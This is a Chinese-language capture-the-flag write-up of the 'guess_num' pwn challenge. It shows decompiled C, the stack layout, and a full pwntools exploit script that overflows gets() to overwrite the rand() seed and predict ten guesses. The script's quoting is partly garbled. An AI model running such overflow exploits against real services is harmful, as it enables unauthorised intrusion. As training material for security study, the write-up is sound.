攻防世界-guess_num-Writeup

guess_num

[collapse title=“展開查看詳情” status=“false”]

考察點:利用棧溢出固定隨機數

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets((__int64)&v7);							//棧溢出
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )                    // 連續正確10次
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

由於題目開啓 Canary 不能直接控制 eip ,觀察棧空間發現 v7 位於 seed 前面。

-000000000000003C var_3C          dd ?
-0000000000000038 var_38          dd ?
-0000000000000034 var_34          dd ?
-0000000000000030 v7              db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
						…………
						…………
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

隨機數的隨機性是基於 seed 種子,當固定 seed 時,實際上生成的是僞隨機數,也就是一個固定的值。這道題幾時利用 gets 造成棧溢出覆蓋 seed 固定生成隨機數,配合 ctypes 庫實現 python、c 混合編程。

完整exp:

#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *

context.log_level = ';debug';

p = remote("111.198.29.45",57280)
#p = process(';./b59204f56a0545e8a22f8518e749f19f';)


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil(';Your name:';)
p.sendline(payload)
libc.srand(1)

for _ in range(10):
	num = str(libc.rand()%6+1)
	p.recvuntil(';number:';)
	p.sendline(num)

p.interactive()

[/collapse]

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章